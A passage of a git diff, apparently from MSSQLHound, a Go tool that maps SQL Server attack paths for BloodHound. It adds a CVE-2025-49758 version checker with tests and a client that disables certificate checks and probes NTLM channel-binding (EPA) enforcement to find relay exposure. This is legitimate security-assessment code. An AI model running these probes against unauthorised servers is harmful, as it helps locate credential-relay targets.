+ SQLServerName: "sqlserver.domain.com:1433", + } + + props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.CoerceAndRelayTo, ctx) + + if props["traversable"] != true { + t.Error("Expected CoerceAndRelayToMSSQL to be traversable") + } + if props["general"] == nil || props["general"] == "" { + t.Error("Expected 'general' property to be set") + } + if props["windowsAbuse"] == nil { + t.Error("Expected 'windowsAbuse' property to be set") + } +} diff --git a/internal/collector/cve.go b/internal/collector/cve.go new file mode 100644 index 0000000..b3de393 --- /dev/null +++ b/internal/collector/cve.go @@ -0,0 +1,299 @@ +// Package collector provides CVE vulnerability checking for SQL Server. +package collector + +import ( + "fmt" + "regexp" + "strconv" + "strings" +) + +// SQLVersion represents a parsed SQL Server version +type SQLVersion struct { + Major int + Minor int + Build int + Revision int +} + +// Compare compares two SQLVersions. Returns -1 if v < other, 0 if equal, 1 if v > other +func (v SQLVersion) Compare(other SQLVersion) int { + if v.Major != other.Major { + if v.Major < other.Major { + return -1 + } + return 1 + } + if v.Minor != other.Minor { + if v.Minor < other.Minor { + return -1 + } + return 1 + } + if v.Build != other.Build { + if v.Build < other.Build { + return -1 + } + return 1 + } + if v.Revision != other.Revision { + if v.Revision < other.Revision { + return -1 + } + return 1 + } + return 0 +} + +func (v SQLVersion) String() string { + return fmt.Sprintf("%d.%d.%d.%d", v.Major, v.Minor, v.Build, v.Revision) +} + +// LessThan returns true if v < other +func (v SQLVersion) LessThan(other SQLVersion) bool { + return v.Compare(other) < 0 +} + +// LessThanOrEqual returns true if v <= other +func (v SQLVersion) LessThanOrEqual(other SQLVersion) bool { + return v.Compare(other) <= 0 +} + +// GreaterThanOrEqual returns true if v >= other +func (v SQLVersion) GreaterThanOrEqual(other SQLVersion) bool { + return v.Compare(other) >= 0 +} + +// SecurityUpdate represents a SQL Server security update for CVE-2025-49758 +type SecurityUpdate struct { + Name string + KB string + MinAffected SQLVersion + MaxAffected SQLVersion + PatchedAt SQLVersion +} + +// CVE202549758Updates contains the security updates that fix CVE-2025-49758 +var CVE202549758Updates = []SecurityUpdate{ + // SQL Server 2022 + { + Name: "SQL 2022 CU20+GDR", + KB: "5063814", + MinAffected: SQLVersion{16, 0, 4003, 1}, + MaxAffected: SQLVersion{16, 0, 4205, 1}, + PatchedAt: SQLVersion{16, 0, 4210, 1}, + }, + { + Name: "SQL 2022 RTM+GDR", + KB: "5063756", + MinAffected: SQLVersion{16, 0, 1000, 6}, + MaxAffected: SQLVersion{16, 0, 1140, 6}, + PatchedAt: SQLVersion{16, 0, 1145, 1}, + }, + + // SQL Server 2019 + { + Name: "SQL 2019 CU32+GDR", + KB: "5063757", + MinAffected: SQLVersion{15, 0, 4003, 23}, + MaxAffected: SQLVersion{15, 0, 4435, 7}, + PatchedAt: SQLVersion{15, 0, 4440, 1}, + }, + { + Name: "SQL 2019 RTM+GDR", + KB: "5063758", + MinAffected: SQLVersion{15, 0, 2000, 5}, + MaxAffected: SQLVersion{15, 0, 2135, 5}, + PatchedAt: SQLVersion{15, 0, 2140, 1}, + }, + + // SQL Server 2017 + { + Name: "SQL 2017 CU31+GDR", + KB: "5063759", + MinAffected: SQLVersion{14, 0, 3006, 16}, + MaxAffected: SQLVersion{14, 0, 3495, 9}, + PatchedAt: SQLVersion{14, 0, 3500, 1}, + }, + { + Name: "SQL 2017 RTM+GDR", + KB: "5063760", + MinAffected: SQLVersion{14, 0, 1000, 169}, + MaxAffected: SQLVersion{14, 0, 2075, 8}, + PatchedAt: SQLVersion{14, 0, 2080, 1}, + }, + + // SQL Server 2016 + { + Name: "SQL 2016 Azure Connect Feature Pack", + KB: "5063761", + MinAffected: SQLVersion{13, 0, 7000, 253}, + MaxAffected: SQLVersion{13, 0, 7055, 9}, + PatchedAt: SQLVersion{13, 0, 7060, 1}, + }, + { + Name: "SQL 2016 SP3 RTM+GDR", + KB: "5063762", + MinAffected: SQLVersion{13, 0, 6300, 2}, + MaxAffected: SQLVersion{13, 0, 6460, 7}, + PatchedAt: SQLVersion{13, 0, 6465, 1}, + }, +} + +// CVECheckResult holds the result of a CVE vulnerability check +type CVECheckResult struct { + VersionDetected string + IsVulnerable bool + IsPatched bool + UpdateName string + KB string + RequiredVersion string +} + +// ParseSQLVersion parses a SQL Server version string (e.g., "15.0.2000.5") into SQLVersion +func ParseSQLVersion(versionStr string) (*SQLVersion, error) { + // Clean up the version string + versionStr = strings.TrimSpace(versionStr) + if versionStr == "" { + return nil, fmt.Errorf("empty version string") + } + + // Split by dots + parts := strings.Split(versionStr, ".") + if len(parts) < 2 { + return nil, fmt.Errorf("invalid version format: %s", versionStr) + } + + v := &SQLVersion{} + var err error + + // Parse major version + v.Major, err = strconv.Atoi(parts[0]) + if err != nil { + return nil, fmt.Errorf("invalid major version: %s", parts[0]) + } + + // Parse minor version + v.Minor, err = strconv.Atoi(parts[1]) + if err != nil { + return nil, fmt.Errorf("invalid minor version: %s", parts[1]) + } + + // Parse build number (optional) + if len(parts) >= 3 { + v.Build, err = strconv.Atoi(parts[2]) + if err != nil { + return nil, fmt.Errorf("invalid build version: %s", parts[2]) + } + } + + // Parse revision (optional) + if len(parts) >= 4 { + v.Revision, err = strconv.Atoi(parts[3]) + if err != nil { + return nil, fmt.Errorf("invalid revision: %s", parts[3]) + } + } + + return v, nil +} + +// ExtractVersionFromFullVersion extracts numeric version from @@VERSION output +// e.g., "Microsoft SQL Server 2019 (RTM-CU32) ... - 15.0.4435.7 ..." -> "15.0.4435.7" +func ExtractVersionFromFullVersion(fullVersion string) string { + // Try to find version pattern like "15.0.4435.7" + re := regexp.MustCompile(`(\d+\.\d+\.\d+\.\d+)`) + matches := re.FindStringSubmatch(fullVersion) + if len(matches) >= 2 { + return matches[1] + } + + // Try simpler pattern like "15.0.4435" + re = regexp.MustCompile(`(\d+\.\d+\.\d+)`) + matches = re.FindStringSubmatch(fullVersion) + if len(matches) >= 2 { + return matches[1] + } + + return "" +} + +// CheckCVE202549758 checks if a SQL Server version is vulnerable to CVE-2025-49758 +// Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49758 +func CheckCVE202549758(versionNumber string, fullVersion string) *CVECheckResult { + // Try to get version from versionNumber first, then fullVersion + versionStr := versionNumber + if versionStr == "" && fullVersion != "" { + versionStr = ExtractVersionFromFullVersion(fullVersion) + } + + if versionStr == "" { + return nil + } + + sqlVersion, err := ParseSQLVersion(versionStr) + if err != nil { + return nil + } + + result := &CVECheckResult{ + VersionDetected: sqlVersion.String(), + IsVulnerable: false, + IsPatched: false, + } + + // Check if version is lower than SQL 2016 (version 13.x) + // These versions are out of support and vulnerable + sql2016Min := SQLVersion{13, 0, 0, 0} + if sqlVersion.LessThan(sql2016Min) { + result.IsVulnerable = true + result.UpdateName = "SQL Server < 2016" + result.KB = "N/A" + result.RequiredVersion = "13.0.6300.2 (SQL 2016 SP3)" + return result + } + + // Check against each security update + for _, update := range CVE202549758Updates { + // Check if version is in the affected range + if sqlVersion.GreaterThanOrEqual(update.MinAffected) && sqlVersion.LessThanOrEqual(update.MaxAffected) { + // Version is in affected range - check if patched + if sqlVersion.GreaterThanOrEqual(update.PatchedAt) { + result.IsPatched = true + result.UpdateName = update.Name + result.KB = update.KB + result.RequiredVersion = update.PatchedAt.String() + } else { + result.IsVulnerable = true + result.UpdateName = update.Name + result.KB = update.KB + result.RequiredVersion = update.PatchedAt.String() + } + return result + } + } + + // Version not in any known affected range - assume patched (newer version) + result.IsPatched = true + return result +} + +// IsVulnerableToCVE202549758 is a convenience function that returns true if the server is vulnerable +func IsVulnerableToCVE202549758(versionNumber string, fullVersion string) bool { + result := CheckCVE202549758(versionNumber, fullVersion) + if result == nil { + // Unable to determine - assume not vulnerable to reduce false positives + return false + } + return result.IsVulnerable +} + +// IsPatchedForCVE202549758 is a convenience function that returns true if the server is patched +func IsPatchedForCVE202549758(versionNumber string, fullVersion string) bool { + result := CheckCVE202549758(versionNumber, fullVersion) + if result == nil { + // Unable to determine - assume patched to reduce false positives + return true + } + return result.IsPatched +} diff --git a/internal/collector/cve_test.go b/internal/collector/cve_test.go new file mode 100644 index 0000000..8624a4f --- /dev/null +++ b/internal/collector/cve_test.go @@ -0,0 +1,267 @@ +package collector + +import ( + "testing" +) + +func TestParseSQLVersion(t *testing.T) { + tests := []struct { + name string + input string + expected *SQLVersion + wantError bool + }{ + { + name: "SQL Server 2019 full version", + input: "15.0.4435.7", + expected: &SQLVersion{15, 0, 4435, 7}, + }, + { + name: "SQL Server 2022 version", + input: "16.0.4210.1", + expected: &SQLVersion{16, 0, 4210, 1}, + }, + { + name: "Short version", + input: "15.0.4435", + expected: &SQLVersion{15, 0, 4435, 0}, + }, + { + name: "Two part version", + input: "15.0", + expected: &SQLVersion{15, 0, 0, 0}, + }, + { + name: "Empty string", + input: "", + wantError: true, + }, + { + name: "Invalid version", + input: "invalid", + wantError: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result, err := ParseSQLVersion(tt.input) + if tt.wantError { + if err == nil { + t.Errorf("Expected error but got none") + } + return + } + if err != nil { + t.Errorf("Unexpected error: %v", err) + return + } + if result.Major != tt.expected.Major || result.Minor != tt.expected.Minor || + result.Build != tt.expected.Build || result.Revision != tt.expected.Revision { + t.Errorf("Expected %v but got %v", tt.expected, result) + } + }) + } +} + +func TestSQLVersionCompare(t *testing.T) { + tests := []struct { + name string + v1 SQLVersion + v2 SQLVersion + expected int + }{ + { + name: "Equal versions", + v1: SQLVersion{15, 0, 4435, 7}, + v2: SQLVersion{15, 0, 4435, 7}, + expected: 0, + }, + { + name: "v1 less than v2 (major)", + v1: SQLVersion{14, 0, 0, 0}, + v2: SQLVersion{15, 0, 0, 0}, + expected: -1, + }, + { + name: "v1 greater than v2 (minor)", + v1: SQLVersion{15, 1, 0, 0}, + v2: SQLVersion{15, 0, 0, 0}, + expected: 1, + }, + { + name: "v1 less than v2 (build)", + v1: SQLVersion{15, 0, 4435, 0}, + v2: SQLVersion{15, 0, 4440, 0}, + expected: -1, + }, + { + name: "v1 greater than v2 (revision)", + v1: SQLVersion{15, 0, 4435, 8}, + v2: SQLVersion{15, 0, 4435, 7}, + expected: 1, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := tt.v1.Compare(tt.v2) + if result != tt.expected { + t.Errorf("Expected %d but got %d", tt.expected, result) + } + }) + } +} + +func TestCheckCVE202549758(t *testing.T) { + tests := []struct { + name string + versionNumber string + fullVersion string + isVulnerable bool + isPatched bool + }{ + { + name: "SQL 2019 vulnerable version", + versionNumber: "15.0.4435.7", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2019 patched version", + versionNumber: "15.0.4440.1", + isVulnerable: false, + isPatched: true, + }, + { + name: "SQL 2022 vulnerable version", + versionNumber: "16.0.4205.1", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2022 patched version", + versionNumber: "16.0.4210.1", + isVulnerable: false, + isPatched: true, + }, + { + name: "SQL 2017 vulnerable version", + versionNumber: "14.0.3495.9", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2016 vulnerable version", + versionNumber: "13.0.6460.7", + isVulnerable: true, + isPatched: false, + }, + { + name: "SQL 2014 (pre-2016) - vulnerable", + versionNumber: "12.0.5000.0", + isVulnerable: true, + isPatched: false, + }, + { + name: "Full @@VERSION string", + fullVersion: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)", + isVulnerable: true, + isPatched: false, + }, + { + name: "Newer version not in affected ranges (assume patched)", + versionNumber: "16.0.5000.0", + isVulnerable: false, + isPatched: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := CheckCVE202549758(tt.versionNumber, tt.fullVersion) + if result == nil { + t.Error("Expected result but got nil") + return + } + if result.IsVulnerable != tt.isVulnerable { + t.Errorf("IsVulnerable: expected %v but got %v", tt.isVulnerable, result.IsVulnerable) + } + if result.IsPatched != tt.isPatched { + t.Errorf("IsPatched: expected %v but got %v", tt.isPatched, result.IsPatched) + } + }) + } +} + +func TestIsVulnerableToCVE202549758(t *testing.T) { + // Vulnerable version + if !IsVulnerableToCVE202549758("15.0.4435.7", "") { + t.Error("Expected 15.0.4435.7 to be vulnerable") + } + + // Patched version + if IsVulnerableToCVE202549758("15.0.4440.1", "") { + t.Error("Expected 15.0.4440.1 to not be vulnerable") + } + + // Empty version - should return false (assume not vulnerable) + if IsVulnerableToCVE202549758("", "") { + t.Error("Expected empty version to return false (not vulnerable)") + } +} + +func TestIsPatchedForCVE202549758(t *testing.T) { + // Patched version + if !IsPatchedForCVE202549758("15.0.4440.1", "") { + t.Error("Expected 15.0.4440.1 to be patched") + } + + // Vulnerable version + if IsPatchedForCVE202549758("15.0.4435.7", "") { + t.Error("Expected 15.0.4435.7 to not be patched") + } + + // Empty version - should return true (assume patched to reduce false positives) + if !IsPatchedForCVE202549758("", "") { + t.Error("Expected empty version to return true (assume patched)") + } +} + +func TestExtractVersionFromFullVersion(t *testing.T) { + tests := []struct { + name string + input string + expected string + }{ + { + name: "Standard @@VERSION output", + input: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)", + expected: "15.0.4435.7", + }, + { + name: "SQL 2022 @@VERSION", + input: "Microsoft SQL Server 2022 (RTM-CU20-GDR) - 16.0.4210.1 (X64)", + expected: "16.0.4210.1", + }, + { + name: "Three part version", + input: "Microsoft SQL Server 2019 - 15.0.4435", + expected: "15.0.4435", + }, + { + name: "No version found", + input: "Invalid string", + expected: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := ExtractVersionFromFullVersion(tt.input) + if result != tt.expected { + t.Errorf("Expected %q but got %q", tt.expected, result) + } + }) + } +} diff --git a/internal/mssql/client.go b/internal/mssql/client.go new file mode 100644 index 0000000..65923d4 --- /dev/null +++ b/internal/mssql/client.go @@ -0,0 +1,2767 @@ +// Package mssql provides SQL Server connection and data collection functionality. +package mssql + +import ( + "context" + "database/sql" + "encoding/binary" + "encoding/hex" + "fmt" + "net" + "sort" + "strconv" + "strings" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/types" + mssqldb "github.com/microsoft/go-mssqldb" + "github.com/microsoft/go-mssqldb/msdsn" +) + +// convertHexSIDToString converts a hex SID (like "0x0105000000...") to standard SID format (like "S-1-5-21-...") +// This matches the PowerShell ConvertTo-SecurityIdentifier function behavior +func convertHexSIDToString(hexSID string) string { + if hexSID == "" || hexSID == "0x" || hexSID == "0x01" { + return "" + } + + // Remove "0x" prefix if present + if strings.HasPrefix(strings.ToLower(hexSID), "0x") { + hexSID = hexSID[2:] + } + + // Decode hex string to bytes + bytes, err := hex.DecodeString(hexSID) + if err != nil || len(bytes) < 8 { + return "" + } + + // Validate SID structure (first byte must be 1 for revision) + if bytes[0] != 1 { + return "" + } + + // Parse SID structure: + // bytes[0] = revision (always 1) + // bytes[1] = number of sub-authorities + // bytes[2:8] = identifier authority (6 bytes, big-endian) + // bytes[8:] = sub-authorities (4 bytes each, little-endian) + + revision := bytes[0] + subAuthCount := int(bytes[1]) + + // Validate length + expectedLen := 8 + (subAuthCount * 4) + if len(bytes) < expectedLen { + return "" + } + + // Get identifier authority (6 bytes, big-endian) + // Usually 5 for NT Authority (S-1-5-...) + var authority uint64 + for i := 0; i < 6; i++ { + authority = (authority << 8) | uint64(bytes[2+i]) + } + + // Build SID string + var sb strings.Builder + sb.WriteString(fmt.Sprintf("S-%d-%d", revision, authority)) + + // Parse sub-authorities (4 bytes each, little-endian) + for i := 0; i < subAuthCount; i++ { + offset := 8 + (i * 4) + subAuth := binary.LittleEndian.Uint32(bytes[offset : offset+4]) + sb.WriteString(fmt.Sprintf("-%d", subAuth)) + } + + return sb.String() +} + +// Client handles SQL Server connections and data collection +type Client struct { + db *sql.DB + serverInstance string + hostname string + port int + instanceName string + userID string + password string + domain string // Domain for NTLM authentication (needed for EPA testing) + ldapUser string // LDAP user (DOMAIN\user or user@domain) for EPA testing + ldapPassword string // LDAP password for EPA testing + useWindowsAuth bool + verbose bool + encrypt bool // Whether to use encryption + usePowerShell bool // Whether using PowerShell fallback + psClient *PowerShellClient // PowerShell client for fallback + collectFromLinkedServers bool // Whether to collect from linked servers +} + +// NewClient creates a new SQL Server client +func NewClient(serverInstance, userID, password string) *Client { + hostname, port, instanceName := parseServerInstance(serverInstance) + + return &Client{ + serverInstance: serverInstance, + hostname: hostname, + port: port, + instanceName: instanceName, + userID: userID, + password: password, + useWindowsAuth: userID == "" && password == "", + } +} + +// parseServerInstance parses server instance formats: +// - hostname +// - hostname:port +// - hostname\instance +// - hostname\instance:port +func parseServerInstance(instance string) (hostname string, port int, instanceName string) { + port = 1433 // default + + // Remove any SPN prefix (MSSQLSvc/) + if strings.HasPrefix(strings.ToUpper(instance), "MSSQLSVC/") { + instance = instance[9:] + } + + // Check for instance name (backslash) + if idx := strings.Index(instance, "\\"); idx != -1 { + hostname = instance[:idx] + rest := instance[idx+1:] + + // Check if instance name has port + if colonIdx := strings.Index(rest, ":"); colonIdx != -1 { + instanceName = rest[:colonIdx] + if p, err := strconv.Atoi(rest[colonIdx+1:]); err == nil { + port = p + } + } else { + instanceName = rest + port = 0 // Will use SQL Browser + } + } else if idx := strings.Index(instance, ":"); idx != -1 { + // hostname:port format + hostname = instance[:idx] + if p, err := strconv.Atoi(instance[idx+1:]); err == nil { + port = p + } + } else { + hostname = instance + } + + return +} + +// Connect establishes a connection to the SQL Server +// It tries multiple connection strategies to maximize compatibility. +// If go-mssqldb fails with the "untrusted domain" error, it will automatically +// fall back to using PowerShell with System.Data.SqlClient which handles +// some SSPI edge cases that go-mssqldb cannot. +func (c *Client) Connect(ctx context.Context) error { + // First try native go-mssqldb connection + err := c.connectNative(ctx) + if err == nil { + return nil + } + + // Check if this is the "untrusted domain" error that PowerShell can handle + if IsUntrustedDomainError(err) && c.useWindowsAuth { + c.logVerbose("Native connection failed with untrusted domain error, trying PowerShell fallback...") + // Try PowerShell fallback + psErr := c.connectPowerShell(ctx) + if psErr == nil { + c.logVerbose("PowerShell fallback succeeded") + return nil + } + // Both methods failed - return combined error for clarity + c.logVerbose("PowerShell fallback also failed: %v", psErr) + return fmt.Errorf("all connection methods failed (native: %v, PowerShell: %v)", err, psErr) + } + + return err +} + +// connectNative tries to connect using go-mssqldb +func (c *Client) connectNative(ctx context.Context) error { + // Connection strategies to try in order + // NOTE: Some servers with specific SSPI configurations may fail to connect from Go + // even though PowerShell/System.Data.SqlClient works. This is a known limitation + // of the go-mssqldb driver's Windows SSPI implementation. + + // Get short hostname for some strategies + shortHostname := c.hostname + if idx := strings.Index(c.hostname, "."); idx != -1 { + shortHostname = c.hostname[:idx] + } + + type connStrategy struct { + name string + serverName string // The server name to use in connection string + encrypt string // "false", "true", or "strict" + useServerSPN bool + spnHost string // Host to use in SPN + } + + strategies := []connStrategy{ + // Try FQDN with encryption (most common) + {"FQDN+encrypt", c.hostname, "true", false, ""}, + // Try TDS 8.0 strict encryption (for servers enforcing strict) + {"FQDN+strict", c.hostname, "strict", false, ""}, + // Try with explicit SPN + {"FQDN+encrypt+SPN", c.hostname, "true", true, c.hostname}, + // Try without encryption + {"FQDN+no-encrypt", c.hostname, "false", false, ""}, + // Try short hostname + {"short+encrypt", shortHostname, "true", false, ""}, + {"short+strict", shortHostname, "strict", false, ""}, + {"short+no-encrypt", shortHostname, "false", false, ""}, + } + + var lastErr error + for _, strategy := range strategies { + connStr := c.buildConnectionStringForStrategy(strategy.serverName, strategy.encrypt, strategy.useServerSPN, strategy.spnHost) + c.logVerbose("Trying connection strategy '%s': %s", strategy.name, connStr) + + var db *sql.DB + var err error + + if strategy.encrypt == "strict" { + // For strict encryption (TDS 8.0), go-mssqldb forces certificate + // validation regardless of TrustServerCertificate. Use NewConnectorConfig + // to override TLS settings so we can connect to servers with self-signed certs. + db, err = openStrictDB(connStr) + } else { + db, err = sql.Open("sqlserver", connStr) + } + if err != nil { + lastErr = err + c.logVerbose(" Strategy '%s' failed to open: %v", strategy.name, err) + continue + } + + // Test the connection with a short timeout + pingCtx, cancel := context.WithTimeout(ctx, 10*time.Second) + err = db.PingContext(pingCtx) + cancel() + + if err != nil { + db.Close() + lastErr = err + c.logVerbose(" Strategy '%s' failed to connect: %v", strategy.name, err) + continue + } + + c.logVerbose(" Strategy '%s' succeeded!", strategy.name) + c.db = db + return nil + } + + return fmt.Errorf("all connection strategies failed, last error: %w", lastErr) +} + +// openStrictDB creates a *sql.DB for TDS 8.0 strict encryption with certificate +// validation disabled. go-mssqldb forces TrustServerCertificate=false in strict +// mode, so we parse the config and override InsecureSkipVerify via NewConnectorConfig. +func openStrictDB(connStr string) (*sql.DB, error) { + config, err := msdsn.Parse(connStr) + if err != nil { + return nil, err + } + if config.TLSConfig != nil { + config.TLSConfig.InsecureSkipVerify = true //nolint:gosec // security tool needs to connect to any server + } + connector := mssqldb.NewConnectorConfig(config) + return sql.OpenDB(connector), nil +} + +// connectPowerShell connects using PowerShell and System.Data.SqlClient +func (c *Client) connectPowerShell(ctx context.Context) error { + c.psClient = NewPowerShellClient(c.serverInstance, c.userID, c.password) + c.psClient.SetVerbose(c.verbose) + + err := c.psClient.TestConnection(ctx) + if err != nil { + c.psClient = nil + return err + } + + c.usePowerShell = true + return nil +} + +// UsingPowerShell returns true if the client is using the PowerShell fallback +func (c *Client) UsingPowerShell() bool { + return c.usePowerShell +} + +// executeQuery is a unified query interface that works with both native and PowerShell modes +// It returns the results as []QueryResult, which can be processed uniformly +func (c *Client) executeQuery(ctx context.Context, query string) ([]QueryResult, error) { + if c.usePowerShell { + response, err := c.psClient.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + return response.Rows, nil + } + + // Native mode - use c.db + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + columns, err := rows.Columns() + if err != nil { + return nil, err + } + + var results []QueryResult + for rows.Next() { + // Create slice of interface{} to hold row values + values := make([]interface{}, len(columns)) + valuePtrs := make([]interface{}, len(columns)) + for i := range values { + valuePtrs[i] = &values[i] + } + + if err := rows.Scan(valuePtrs...); err != nil { + return nil, err + } + + // Convert to QueryResult + row := make(QueryResult) + for i, col := range columns { + val := values[i] + // Convert []byte to string for easier handling + if b, ok := val.([]byte); ok { + row[col] = string(b) + } else { + row[col] = val + } + } + results = append(results, row) + } + + return results, rows.Err() +} + +// executeQueryRow executes a query and returns a single row +func (c *Client) executeQueryRow(ctx context.Context, query string) (QueryResult, error) { + results, err := c.executeQuery(ctx, query) + if err != nil { + return nil, err + } + if len(results) == 0 { + return nil, sql.ErrNoRows + } + return results[0], nil +} + +// DB returns the underlying database connection (nil in PowerShell mode) +// This is used for methods that need direct database access +func (c *Client) DB() *sql.DB { + return c.db +} + +// DBW returns a database wrapper that works with both native and PowerShell modes +// Use this for query methods to ensure compatibility with PowerShell fallback +func (c *Client) DBW() *DBWrapper { + return NewDBWrapper(c.db, c.psClient, c.usePowerShell) +} + +// buildConnectionStringForStrategy creates the connection string for a specific strategy +func (c *Client) buildConnectionStringForStrategy(serverName, encrypt string, useServerSPN bool, spnHost string) string { + var parts []string + + parts = append(parts, fmt.Sprintf("server=%s", serverName)) + + if c.port > 0 { + parts = append(parts, fmt.Sprintf("port=%d", c.port)) + } + + if c.instanceName != "" { + parts = append(parts, fmt.Sprintf("instance=%s", c.instanceName)) + } + + if c.useWindowsAuth { + // Use Windows integrated auth + parts = append(parts, "trusted_connection=yes") + + // Optionally set ServerSPN using the provided spnHost (could be FQDN or short name) + if useServerSPN && spnHost != "" { + if c.instanceName != "" && c.instanceName != "MSSQLSERVER" { + parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%s", spnHost, c.instanceName)) + } else if c.port > 0 { + parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%d", spnHost, c.port)) + } + } + } else { + parts = append(parts, fmt.Sprintf("user id=%s", c.userID)) + parts = append(parts, fmt.Sprintf("password=%s", c.password)) + } + + // Handle encryption setting - supports "false", "true", "strict", "disable" + parts = append(parts, fmt.Sprintf("encrypt=%s", encrypt)) + parts = append(parts, "TrustServerCertificate=true") + parts = append(parts, "app name=MSSQLHound") + + return strings.Join(parts, ";") +} + +// buildConnectionString creates the connection string for go-mssqldb (uses default options) +func (c *Client) buildConnectionString() string { + encrypt := "true" + if !c.encrypt { + encrypt = "false" + } + return c.buildConnectionStringForStrategy(c.hostname, encrypt, true, c.hostname) +} + +// SetVerbose enables or disables verbose logging +func (c *Client) SetVerbose(verbose bool) { + c.verbose = verbose +} + +func (c *Client) SetCollectFromLinkedServers(collect bool) { + c.collectFromLinkedServers = collect +} + +// SetDomain sets the domain for NTLM authentication (needed for EPA testing) +func (c *Client) SetDomain(domain string) { + c.domain = domain +} + +// SetLDAPCredentials sets the LDAP credentials used for EPA testing. +// The ldapUser can be in DOMAIN\user or user@domain format. +func (c *Client) SetLDAPCredentials(ldapUser, ldapPassword string) { + c.ldapUser = ldapUser + c.ldapPassword = ldapPassword +} + +// logVerbose logs a message only if verbose mode is enabled +func (c *Client) logVerbose(format string, args ...interface{}) { + if c.verbose { + fmt.Printf(format+"\n", args...) + } +} + +// EPATestResult holds the results of EPA connection testing +type EPATestResult struct { + UnmodifiedSuccess bool + NoSBSuccess bool + NoCBTSuccess bool + ForceEncryption bool + StrictEncryption bool + EncryptionFlag byte + EPAStatus string +} + +// TestEPA performs Extended Protection for Authentication testing using raw +// TDS+TLS+NTLM connections with controllable Channel Binding and Service Binding. +// This matches the approach used in the Python reference implementation +// (MssqlExtended.py / MssqlInformer.py). +// +// For encrypted connections (ENCRYPT_REQ): tests channel binding manipulation +// For unencrypted connections (ENCRYPT_OFF): tests service binding manipulation +func (c *Client) TestEPA(ctx context.Context) (*EPATestResult, error) { + result := &EPATestResult{} + + // EPA testing requires LDAP/domain credentials for NTLM authentication. + // These are separate from the SQL auth credentials (-u/-p). + if c.ldapUser == "" || c.ldapPassword == "" { + return nil, fmt.Errorf("EPA testing requires LDAP credentials (--ldap-user and --ldap-password)") + } + + // Parse domain and username from LDAP user (DOMAIN\user or user@domain format) + epaDomain, epaUsername := parseLDAPUser(c.ldapUser, c.domain) + if epaDomain == "" { + return nil, fmt.Errorf("EPA testing requires a domain (from --ldap-user DOMAIN\\user or --domain)") + } + + c.logVerbose("EPA credentials: domain=%q, username=%q", epaDomain, epaUsername) + + // Resolve port if needed + port := c.port + if port == 0 && c.instanceName != "" { + resolvedPort, err := c.resolveInstancePort(ctx) + if err != nil { + return nil, fmt.Errorf("failed to resolve instance port: %w", err) + } + port = resolvedPort + } + if port == 0 { + port = 1433 + } + + c.logVerbose("Testing EPA settings for %s", c.serverInstance) + + // Build a base config using LDAP credentials + baseConfig := func(mode EPATestMode) *EPATestConfig { + return &EPATestConfig{ + Hostname: c.hostname, Port: port, InstanceName: c.instanceName, + Domain: epaDomain, Username: epaUsername, Password: c.ldapPassword, + TestMode: mode, Verbose: c.verbose, + } + } + + // Step 1: Detect encryption mode and run prerequisite check + c.logVerbose(" Running prerequisite check with normal login...") + prereqResult, encFlag, err := runEPATest(ctx, baseConfig(EPATestNormal)) + if err != nil { + // The normal TDS 7.x PRELOGIN failed. This may indicate the server + // enforces TDS 8.0 strict encryption (TLS before any TDS messages). + c.logVerbose(" Normal PRELOGIN failed (%v), trying TDS 8.0 strict encryption flow...", err) + _, strictErr := runEPATestStrict(ctx, baseConfig(EPATestNormal)) + if strictErr != nil { + return nil, fmt.Errorf("EPA prereq check failed (tried normal and TDS 8.0 strict): normal=%w, strict=%v", err, strictErr) + } + // TDS 8.0 strict encryption confirmed. + // In strict mode we cannot determine Force Encryption or EPA enforcement + // via NTLM AV_PAIR manipulation — additional research is required. + result.EncryptionFlag = encryptStrict + result.StrictEncryption = true + result.EPAStatus = "Unknown" + c.logVerbose(" Server uses TDS 8.0 strict encryption") + c.logVerbose(" Encryption flag: 0x%02X", encryptStrict) + c.logVerbose(" Strict Encryption (TDS 8.0): Yes") + c.logVerbose(" Force Encryption: No") + c.logVerbose(" Extended Protection: Force Strict Encryption without Force Encryption requires additional research to determine (Off/Allowed/Required)") + return result, nil + } + + result.EncryptionFlag = encFlag + result.ForceEncryption = encFlag == encryptReq + + c.logVerbose(" Encryption flag: 0x%02X", encFlag) + c.logVerbose(" Force Encryption: %s", boolToYesNo(result.ForceEncryption)) + + // Prereq must succeed or produce "login failed" (valid credentials response) + if !prereqResult.Success && !prereqResult.IsLoginFailed { + if prereqResult.IsUntrustedDomain { + return nil, fmt.Errorf("EPA prereq check failed: credentials rejected (untrusted domain)") + } + return nil, fmt.Errorf("EPA prereq check failed: unexpected response: %s", prereqResult.ErrorMessage) + } + result.UnmodifiedSuccess = prereqResult.Success + c.logVerbose(" Unmodified connection: %s", boolToSuccessFail(prereqResult.Success)) + + // Step 2: Test based on encryption setting (matching Python mssql.py flow) + if encFlag == encryptReq { + // Encrypted path: test channel binding (matching Python lines 57-78) + c.logVerbose(" Conducting logins while manipulating channel binding av pair over encrypted connection") + + // Test with bogus CBT + bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusCBT)) + if err != nil { + return nil, fmt.Errorf("EPA bogus CBT test failed: %w", err) + } + + if bogusResult.IsUntrustedDomain { + // Bogus CBT rejected - EPA is enforcing channel binding + // Test with missing CBT to distinguish Allowed vs Required + missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingCBT)) + if err != nil { + return nil, fmt.Errorf("EPA missing CBT test failed: %w", err) + } + + result.NoCBTSuccess = missingResult.Success || missingResult.IsLoginFailed + if missingResult.IsUntrustedDomain { + result.EPAStatus = "Required" + 